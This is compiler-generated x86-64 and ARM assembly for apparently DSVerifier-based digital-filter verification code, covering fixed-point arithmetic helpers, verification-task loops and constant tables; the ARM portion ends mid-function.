add DWORD PTR -56[rbp], 1
.L1754:
mov eax, DWORD PTR ds[rip+800]
cmp DWORD PTR -56[rbp], eax
jl .L1768
mov rdx, QWORD PTR -72[rbp]
mov eax, 0
call rdx
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE155:
.size call_verification_task, .-call_verification_task
.globl call_closedloop_verification_task
.type call_closedloop_verification_task, @function
call_closedloop_verification_task:
.LFB156:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 80
mov QWORD PTR -72[rbp], rdi
mov BYTE PTR -53[rbp], 0
mov DWORD PTR -52[rbp], 0
mov DWORD PTR -52[rbp], 0
jmp .L1786
.L1800:
mov eax, DWORD PTR -52[rbp]
cdqe
add rax, 302
lea rdx, 0[0+rax*8]
lea rax, plant[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
pxor xmm1, xmm1
comisd xmm0, xmm1
jbe .L1787
mov eax, DWORD PTR -52[rbp]
cdqe
add rax, 100
lea rdx, 0[0+rax*8]
lea rax, plant[rip+8]
movsd xmm1, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -52[rbp]
cdqe
add rax, 302
lea rdx, 0[0+rax*8]
lea rax, plant[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR .LC100[rip]
divsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
pxor xmm0, xmm0
comisd xmm0, QWORD PTR -24[rbp]
jbe .L1828
movsd xmm0, QWORD PTR -24[rbp]
movq xmm1, QWORD PTR .LC13[rip]
xorpd xmm0, xmm1
jmp .L1791
.L1828:
movsd xmm0, QWORD PTR -24[rbp]
.L1791:
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -52[rbp]
cdqe
add rax, 100
lea rdx, 0[0+rax*8]
lea rax, plant[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
subsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR -16[rbp], xmm0
mov eax, DWORD PTR -52[rbp]
cdqe
add rax, 100
lea rdx, 0[0+rax*8]
lea rax, plant[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
movsd xmm1, QWORD PTR -24[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -24[rbp]
jp .L1792
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -24[rbp]
jne .L1792
cmp BYTE PTR -53[rbp], 0
jne .L1830
.L1792:
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -24[rbp]
jp .L1794
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -24[rbp]
jne .L1794
movzx eax, BYTE PTR -53[rbp]
xor eax, 1
test al, al
je .L1794
mov BYTE PTR -53[rbp], 1
.L1794:
mov eax, 0
call nondet_double@PLT
movq rax, xmm0
mov edx, DWORD PTR -52[rbp]
movsx rdx, edx
add rdx, 100
lea rcx, 0[0+rdx*8]
lea rdx, plant[rip+8]
mov QWORD PTR [rcx+rdx], rax
mov eax, DWORD PTR -52[rbp]
cdqe
add rax, 100
lea rdx, 0[0+rax*8]
lea rax, plant[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
comisd xmm0, QWORD PTR -16[rbp]
jb .L1796
mov eax, DWORD PTR -52[rbp]
cdqe
add rax, 100
lea rdx, 0[0+rax*8]
lea rax, plant[rip+8]
movsd xmm1, QWORD PTR [rdx+rax]
movsd xmm0, QWORD PTR -8[rbp]
comisd xmm0, xmm1
jb .L1796
mov eax, 1
jmp .L1799
.L1796:
mov eax, 0
.L1799:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
jmp .L1787
.L1830:
nop
.L1787:
add DWORD PTR -52[rbp], 1
.L1786:
mov eax, DWORD PTR plant[rip+1608]
cmp DWORD PTR -52[rbp], eax
jl .L1800
mov DWORD PTR -52[rbp], 0
jmp .L1801
.L1815:
mov eax, DWORD PTR -52[rbp]
cdqe
add rax, 202
lea rdx, 0[0+rax*8]
lea rax, plant[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
pxor xmm1, xmm1
comisd xmm0, xmm1
jbe .L1802
mov eax, DWORD PTR -52[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, plant[rip]
movsd xmm1, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -52[rbp]
cdqe
add rax, 202
lea rdx, 0[0+rax*8]
lea rax, plant[rip+8]
movsd xmm0, QWORD PTR [rdx+rax]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR .LC100[rip]
divsd xmm0, xmm1
movsd QWORD PTR -48[rbp], xmm0
pxor xmm0, xmm0
comisd xmm0, QWORD PTR -48[rbp]
jbe .L1829
movsd xmm0, QWORD PTR -48[rbp]
movq xmm1, QWORD PTR .LC13[rip]
xorpd xmm0, xmm1
jmp .L1806
.L1829:
movsd xmm0, QWORD PTR -48[rbp]
.L1806:
movsd QWORD PTR -48[rbp], xmm0
mov eax, DWORD PTR -52[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, plant[rip]
movsd xmm0, QWORD PTR [rdx+rax]
subsd xmm0, QWORD PTR -48[rbp]
movsd QWORD PTR -40[rbp], xmm0
mov eax, DWORD PTR -52[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, plant[rip]
movsd xmm0, QWORD PTR [rdx+rax]
movsd xmm1, QWORD PTR -48[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -32[rbp], xmm0
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -48[rbp]
jp .L1807
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -48[rbp]
jne .L1807
cmp BYTE PTR -53[rbp], 0
jne .L1831
.L1807:
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -48[rbp]
jp .L1809
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -48[rbp]
jne .L1809
movzx eax, BYTE PTR -53[rbp]
xor eax, 1
test al, al
je .L1809
mov BYTE PTR -53[rbp], 1
.L1809:
mov eax, 0
call nondet_double@PLT
movq rax, xmm0
mov edx, DWORD PTR -52[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
lea rdx, plant[rip]
mov QWORD PTR [rcx+rdx], rax
mov eax, DWORD PTR -52[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, plant[rip]
movsd xmm0, QWORD PTR [rdx+rax]
comisd xmm0, QWORD PTR -40[rbp]
jb .L1811
mov eax, DWORD PTR -52[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, plant[rip]
movsd xmm1, QWORD PTR [rdx+rax]
movsd xmm0, QWORD PTR -32[rbp]
comisd xmm0, xmm1
jb .L1811
mov eax, 1
jmp .L1814
.L1811:
mov eax, 0
.L1814:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
jmp .L1802
.L1831:
nop
.L1802:
add DWORD PTR -52[rbp], 1
.L1801:
mov eax, DWORD PTR plant[rip+800]
cmp DWORD PTR -52[rbp], eax
jl .L1815
mov rdx, QWORD PTR -72[rbp]
mov eax, 0
call rdx
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE156:
.size call_closedloop_verification_task, .-call_closedloop_verification_task
.globl ds
.data
.align 32
.type ds, @object
.size ds, 3224
ds:
.long 0
.long 1072693248
.long 0
.long 0
.zero 784
.long 2
.zero 4
.long 0
.long 1073217536
.long 0
.long -1075838976
.zero 784
.long 2
.zero 4
.long 1202590843
.long 1066695393
.zero 1600
.globl impl
.align 32
.type impl, @object
.size impl, 56
impl:
.long 4
.long 12
.long 0
.long 1072693248
.long 0
.long -1074790400
.zero 32
.section .rodata
.align 16
.type __PRETTY_FUNCTION__.21, @object
.size __PRETTY_FUNCTION__.21, 20
__PRETTY_FUNCTION__.21:
.string "__DSVERIFIER_assert"
.align 16
.type __PRETTY_FUNCTION__.20, @object
.size __PRETTY_FUNCTION__.20, 24
__PRETTY_FUNCTION__.20:
.string "__DSVERIFIER_assert_msg"
.align 16
.type __PRETTY_FUNCTION__.19, @object
.size __PRETTY_FUNCTION__.19, 26
__PRETTY_FUNCTION__.19:
.string "double_check_oscillations"
.align 8
.type __PRETTY_FUNCTION__.18, @object
.size __PRETTY_FUNCTION__.18, 12
__PRETTY_FUNCTION__.18:
.string "snrVariance"
.align 8
.type __PRETTY_FUNCTION__.17, @object
.size __PRETTY_FUNCTION__.17, 9
__PRETTY_FUNCTION__.17:
.string "snrPower"
.align 8
.type __PRETTY_FUNCTION__.16, @object
.size __PRETTY_FUNCTION__.16, 9
__PRETTY_FUNCTION__.16:
.string "snrPoint"
.align 8
.type __PRETTY_FUNCTION__.15, @object
.size __PRETTY_FUNCTION__.15, 13
__PRETTY_FUNCTION__.15:
.string "iirIIOutTime"
.align 8
.type __PRETTY_FUNCTION__.14, @object
.size __PRETTY_FUNCTION__.14, 14
__PRETTY_FUNCTION__.14:
.string "iirIItOutTime"
.align 16
.type __PRETTY_FUNCTION__.13, @object
.size __PRETTY_FUNCTION__.13, 21
__PRETTY_FUNCTION__.13:
.string "iirIItOutTime_double"
.align 16
.type __PRETTY_FUNCTION__.12, @object
.size __PRETTY_FUNCTION__.12, 28
__PRETTY_FUNCTION__.12:
.string "double_direct_form_1_MSP430"
.align 16
.type __PRETTY_FUNCTION__.11, @object
.size __PRETTY_FUNCTION__.11, 28
__PRETTY_FUNCTION__.11:
.string "double_direct_form_2_MSP430"
.align 32
.type __PRETTY_FUNCTION__.10, @object
.size __PRETTY_FUNCTION__.10, 39
__PRETTY_FUNCTION__.10:
.string "double_transposed_direct_form_2_MSP430"
.align 8
.type __PRETTY_FUNCTION__.9, @object
.size __PRETTY_FUNCTION__.9, 15
__PRETTY_FUNCTION__.9:
.string "initialization"
.align 16
.type __PRETTY_FUNCTION__.8, @object
.size __PRETTY_FUNCTION__.8, 31
__PRETTY_FUNCTION__.8:
.string "verify_limit_cycle_state_space"
.align 16
.type __PRETTY_FUNCTION__.7, @object
.size __PRETTY_FUNCTION__.7, 30
__PRETTY_FUNCTION__.7:
.string "verify_zero_input_limit_cycle"
.align 16
.type __PRETTY_FUNCTION__.6, @object
.size __PRETTY_FUNCTION__.6, 22
__PRETTY_FUNCTION__.6:
.string "verify_generic_timing"
.align 16
.type __PRETTY_FUNCTION__.5, @object
.size __PRETTY_FUNCTION__.5, 17
__PRETTY_FUNCTION__.5:
.string "verify_stability"
.align 16
.type __PRETTY_FUNCTION__.4, @object
.size __PRETTY_FUNCTION__.4, 25
__PRETTY_FUNCTION__.4:
.string "verify_error_state_space"
.align 16
.type __PRETTY_FUNCTION__.3, @object
.size __PRETTY_FUNCTION__.3, 26
__PRETTY_FUNCTION__.3:
.string "verify_safety_state_space"
.align 16
.type __PRETTY_FUNCTION__.2, @object
.size __PRETTY_FUNCTION__.2, 23
__PRETTY_FUNCTION__.2:
.string "verify_controllability"
.align 16
.type __PRETTY_FUNCTION__.1, @object
.size __PRETTY_FUNCTION__.1, 30
__PRETTY_FUNCTION__.1:
.string "verify_controllability_double"
.align 16
.type __PRETTY_FUNCTION__.0, @object
.size __PRETTY_FUNCTION__.0, 21
__PRETTY_FUNCTION__.0:
.string "verify_observability"
.align 8
.LC5:
.long 0
.long 1071644672
.align 8
.LC7:
.long 0
.long 1072693248
.align 16
.LC13:
.long 0
.long -2147483648
.long 0
.long 0
.align 8
.LC15:
.long 0
.long -1074790400
.align 8
.LC28:
.long 0
.long 1089470464
.align 8
.LC29:
.long 0
.long 1088421824
.align 8
.LC30:
.long 8388608
.long 1104150400
.align 8
.LC31:
.long -1574947053
.long 1075974094
.align 8
.LC32:
.long -1574947053
.long 1074925518
.align 4
.LC35:
.long 1176256410
.align 8
.LC36:
.long 0
.long 1080213504
.align 8
.LC37:
.long 0
.long -1067270144
.align 8
.LC39:
.long 0
.long 1097761920
.align 8
.LC40:
.long 1202590843
.long 1065646817
.align 8
.LC51:
.long 0
.long 1075314688
.align 8
.LC52:
.long 0
.long 1079902208
.align 8
.LC53:
.long 0
.long 1085517824
.align 8
.LC54:
.long 0
.long 1091970560
.align 8
.LC55:
.long 0
.long 1099106472
.align 8
.LC58:
.long 0
.long 1073741824
.align 8
.LC59:
.long 0
.long 1077411840
.align 8
.LC60:
.long 0
.long 1082556416
.align 8
.LC61:
.long 0
.long 1088663552
.align 8
.LC62:
.long 0
.long 1095479168
.align 8
.LC63:
.long 0
.long 1074266112
.align 8
.LC64:
.long 0
.long 1075052544
.align 8
.LC65:
.long 0
.long 1075576832
.align 4
.LC67:
.long 1056964608
.align 4
.LC68:
.long 1069547520
.align 16
.LC69:
.long -2147483648
.long 0
.long 0
.long 0
.align 4
.LC70:
.long 1092616192
.align 8
.LC71:
.long -1998362383
.long 1055193269
.align 8
.LC93:
.long 1413754136
.long 1074340347
.align 8
.LC100:
.long 0
.long 1079574528
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "228753.c"
.text
.global X_SIZE_VALUE
.bss
.align 2
.type X_SIZE_VALUE, %object
.size X_SIZE_VALUE, 4
X_SIZE_VALUE:
.space 4
.global overflow_mode
.data
.align 2
.type overflow_mode, %object
.size overflow_mode, 4
overflow_mode:
.word 1
.global rounding_mode
.bss
.align 2
.type rounding_mode, %object
.size rounding_mode, 4
rounding_mode:
.space 4
.text
.align 2
.global __DSVERIFIER_assume
.syntax unified
.arm
.fpu softvfp
.type __DSVERIFIER_assume, %function
__DSVERIFIER_assume:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
mov r3, r0
strb r3, [fp, #-5]
ldrb r3, [fp, #-5] @ zero_extendqisi2
mov r0, r3
bl __ESBMC_assume
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size __DSVERIFIER_assume, .-__DSVERIFIER_assume
.section .rodata
.align 2
.LC0:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/core/compatibility.h\000"
.align 2
.LC1:
.ascii "expression\000"
.text
.align 2
.global __DSVERIFIER_assert
.syntax unified
.arm
.fpu softvfp
.type __DSVERIFIER_assert, %function
__DSVERIFIER_assert:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
mov r3, r0
strb r3, [fp, #-5]
ldrb r3, [fp, #-5] @ zero_extendqisi2
cmp r3, #0
bne .L4
ldr r3, .L5
mov r2, #36
ldr r1, .L5+4
ldr r0, .L5+8
bl __assert_fail
.L4:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L6:
.align 2
.L5:
.word __PRETTY_FUNCTION__.5216
.word .LC0
.word .LC1
.size __DSVERIFIER_assert, .-__DSVERIFIER_assert
.section .rodata
.align 2
.LC2:
.ascii "%s\000"
.text
.align 2
.global __DSVERIFIER_assert_msg
.syntax unified
.arm
.fpu softvfp
.type __DSVERIFIER_assert_msg, %function
__DSVERIFIER_assert_msg:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
mov r3, r0
str r1, [fp, #-12]
strb r3, [fp, #-5]
ldr r1, [fp, #-12]
ldr r0, .L10
bl printf
ldrb r3, [fp, #-5] @ zero_extendqisi2
cmp r3, #0
bne .L9
ldr r3, .L10+4
mov r2, #41
ldr r1, .L10+8
ldr r0, .L10+12
bl __assert_fail
.L9:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L11:
.align 2
.L10:
.word .LC2
.word __PRETTY_FUNCTION__.5221
.word .LC0
.word .LC1
.size __DSVERIFIER_assert_msg, .-__DSVERIFIER_assert_msg
.comm _fxp_one,4,4
.comm _fxp_half,4,4
.comm _fxp_minus_one,4,4
.comm _fxp_min,4,4
.comm _fxp_max,4,4
.comm _dbl_max,8,8
.comm _dbl_min,8,8
.comm _fxp_fmask,4,4
.comm _fxp_imask,4,4
.section .rodata
.align 3
.type scale_factor, %object
.size scale_factor, 248
scale_factor:
.word 0
.word 1072693248
.word 0
.word 1073741824
.word 0
.word 1074790400
.word 0
.word 1075838976
.word 0
.word 1076887552
.word 0
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.word 0
.word 1078984704
.word 0
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.word 0
.word 1081081856
.word 0
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.word 0
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.word 0
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.word 0
.word 1085276160
.word 0
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.word 0
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.word 0
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.word 0
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.word 0
.word 1090519040
.word 0
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.word 0
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.word 0
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.word 0
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.word 0
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.word 0
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.word 0
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.word 0
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.word 0
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.word 0
.word 1101004800
.word 0
.word 1102053376
.word 0
.word 1103101952
.word 0
.word 1104150528
.align 3
.type scale_factor_inv, %object
.size scale_factor_inv, 248
scale_factor_inv:
.word 0
.word 1072693248
.word 0
.word 1071644672
.word 0
.word 1070596096
.word 0
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.word 0
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.word 1044381696
.word 3573330668
.word 1043333119
.word 3573330668
.word 1042284543
.word 2057033325
.word 1041235968
.align 2
.type rand_uni, %object
.size rand_uni, 40000
rand_uni:
.word 3203986558
.word 3182791720
.word 3188698315
.word 1050290517
.word 1036740293
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.global __aeabi_idiv
.global __aeabi_idivmod
.text
.align 2
.global wrap
.syntax unified
.arm
.fpu softvfp
.type wrap, %function
wrap:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r2, [fp, #-24]
ldr r3, [fp, #-20]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-8]
ldr r2, [fp, #-16]
ldr r3, [fp, #-20]
cmp r2, r3
bge .L13
ldr r2, [fp, #-20]
ldr r3, [fp, #-16]
sub r3, r2, r3
ldr r1, [fp, #-8]
mov r0, r3
bl __aeabi_idiv
mov r3, r0
add r3, r3, #1
ldr r2, [fp, #-8]
mul r3, r2, r3
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-16]
.L13:
ldr r2, [fp, #-16]
ldr r3, [fp, #-20]
sub r3, r2, r3
ldr r1, [fp, #-8]
mov r0, r3
bl __aeabi_idivmod
mov r3, r1
mov r2, r3
ldr r3, [fp, #-20]
add r3, r2, r3
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size wrap, .-wrap
.align 2
.global fxp_get_int_part
.syntax unified
.arm
.fpu softvfp
.type fxp_get_int_part, %function
fxp_get_int_part:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
bge .L16
ldr r3, [fp, #-8]
rsb r2, r3, #0
ldr r3, .L19
ldr r3, [r3]
and r3, r3, r2
rsb r3, r3, #0
b .L18
.L16:
ldr r3, .L19
ldr r2, [r3]
ldr r3, [fp, #-8]
and r3, r3, r2
.L18:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L20:
.align 2
.L19:
.word _fxp_imask
.size fxp_get_int_part, .-fxp_get_int_part
.align 2
.global fxp_get_frac_part
.syntax unified
.arm
.fpu softvfp
.type fxp_get_frac_part, %function
fxp_get_frac_part:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
bge .L22
ldr r3, [fp, #-8]
rsb r2, r3, #0
ldr r3, .L25
ldr r3, [r3]
and r3, r3, r2
rsb r3, r3, #0
b .L24
.L22:
ldr r3, .L25
ldr r2, [r3]
ldr r3, [fp, #-8]
and r3, r3, r2
.L24:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L26:
.align 2
.L25:
.word _fxp_fmask
.size fxp_get_frac_part, .-fxp_get_frac_part
.align 2
.global fxp_quantize
.syntax unified
.arm
.fpu softvfp
.type fxp_quantize, %function
fxp_quantize:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, .L33
ldr r3, [r3]
cmp r3, #2
bne .L28
ldr r3, .L33+4
ldr r3, [r3]
ldr r2, [fp, #-8]
cmp r2, r3
bge .L29
ldr r3, .L33+4
ldr r3, [r3]
b .L30
.L29:
ldr r3, .L33+8
ldr r3, [r3]
ldr r2, [fp, #-8]
cmp r2, r3
ble .L31
ldr r3, .L33+8
ldr r3, [r3]
b .L30
.L28:
ldr r3, .L33
ldr r3, [r3]
cmp r3, #3
bne .L31
ldr r3, .L33+4
ldr r3, [r3]
ldr r2, [fp, #-8]
cmp r2, r3
blt .L32
ldr r3, .L33+8
ldr r3, [r3]
ldr r2, [fp, #-8]
cmp r2, r3
ble .L31
.L32:
ldr r3, .L33+4
ldr r3, [r3]
ldr r2, .L33+8
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-8]
bl wrap
mov r3, r0
b .L30
.L31:
ldr r3, [fp, #-8]
.L30:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L34:
.align 2
.L33:
.word overflow_mode
.word _fxp_min
.word _fxp_max
.size fxp_quantize, .-fxp_quantize
.section .rodata
.align 2
.LC3:
.ascii "An Overflow Occurred in system's output\000"
.text
.align 2
.global fxp_verify_overflow
.syntax unified
.arm
.fpu softvfp
.type fxp_verify_overflow, %function
fxp_verify_overflow:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r0, [fp, #-8]
bl fxp_quantize
ldr r0, .L38
bl printf
ldr r3, .L38+4
ldr r3, [r3]
ldr r2, [fp, #-8]
cmp r2, r3
bgt .L36
ldr r3, .L38+8
ldr r3, [r3]
ldr r2, [fp, #-8]
cmp r2, r3
blt .L36
mov r3, #1
b .L37
.L36:
mov r3, #0
.L37:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assert
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L39:
.align 2
.L38:
.word .LC3
.word _fxp_max
.word _fxp_min
.size fxp_verify_overflow, .-fxp_verify_overflow
.align 2
.global fxp_verify_overflow_node
.syntax unified
.arm
.fpu softvfp
.type fxp_verify_overflow_node, %function
fxp_verify_overflow_node:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
str r1, [fp, #-12]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size fxp_verify_overflow_node, .-fxp_verify_overflow_node
.align 2
.global fxp_verify_overflow_array
.syntax unified
.arm
.fpu softvfp
.type fxp_verify_overflow_array, %function
fxp_verify_overflow_array:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r3, #0
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-8]
b .L42
.L43:
ldr r3, [fp, #-8]
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r3, r2, r3
ldr r3, [r3]
mov r0, r3
bl fxp_verify_overflow
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L42:
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
cmp r2, r3
blt .L43
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fxp_verify_overflow_array, .-fxp_verify_overflow_array
.align 2
.global fxp_int_to_fxp
.syntax unified
.arm
.fpu softvfp
.type fxp_int_to_fxp, %function
fxp_int_to_fxp:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
ldr r3, .L46
ldr r2, [r3]
ldr r3, [fp, #-16]
mul r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L47:
.align 2
.L46:
.word _fxp_one
.size fxp_int_to_fxp, .-fxp_int_to_fxp
.align 2
.global fxp_to_int
.syntax unified
.arm
.fpu softvfp
.type fxp_to_int, %function
fxp_to_int:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
blt .L49
ldr r3, .L52
ldr r3, [r3]
ldr r2, [fp, #-8]
add r3, r2, r3
str r3, [fp, #-8]
b .L50
.L49:
ldr r3, .L52
ldr r3, [r3]
ldr r2, [fp, #-8]
sub r3, r2, r3
str r3, [fp, #-8]
.L50:
ldr r3, .L52+4
ldr r3, [r3, #4]
ldr r2, [fp, #-8]
asr r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L53:
.align 2
.L52:
.word _fxp_half
.word impl
.size fxp_to_int, .-fxp_to_int
.global __aeabi_f2d
.global __aeabi_dmul
.global __aeabi_fcmpge
.global __aeabi_dadd
.global __aeabi_d2iz
.global __aeabi_dsub
.align 2
.global fxp_float_to_fxp
.syntax unified
.arm
.fpu softvfp
.type fxp_float_to_fxp, %function
fxp_float_to_fxp:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-24] @ float
ldr r0, [fp, #-24] @ float
bl __aeabi_f2d
ldr r3, .L61
ldr r3, [r3, #4]
ldr r2, .L61+4
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r1, #0
ldr r0, [fp, #-24] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L60
mov r2, #0
ldr r3, .L61+8
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-16]
b .L57
.L60:
mov r2, #0
ldr r3, .L61+8
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-16]
.L57:
ldr r3, [fp, #-16]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L62:
.align 2
.L61:
.word impl
.word scale_factor
.word 1071644672
.size fxp_float_to_fxp, .-fxp_float_to_fxp
.global __aeabi_dcmpge
.global __aeabi_i2d
.global __aeabi_dcmplt
.global __aeabi_dcmpeq
.align 2
.global fxp_double_to_fxp
.syntax unified
.arm
.fpu softvfp
.type fxp_double_to_fxp, %function
fxp_double_to_fxp:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-36]
str r1, [fp, #-32]
ldr r3, .L76
ldr r3, [r3, #4]
ldr r2, .L76+4
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, .L76+8
ldr r3, [r3]
cmp r3, #0
bne .L64
mov r2, #0
mov r3, #0
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L75
mov r2, #0
ldr r3, .L76+12
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-24]
b .L67
.L75:
mov r2, #0
ldr r3, .L76+12
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-24]
b .L67
.L64:
ldr r3, .L76+8
ldr r3, [r3]
cmp r3, #1
bne .L68
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-24]
ldr r0, [fp, #-24]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
sub r1, fp, #20
ldmia r1, {r0-r1}
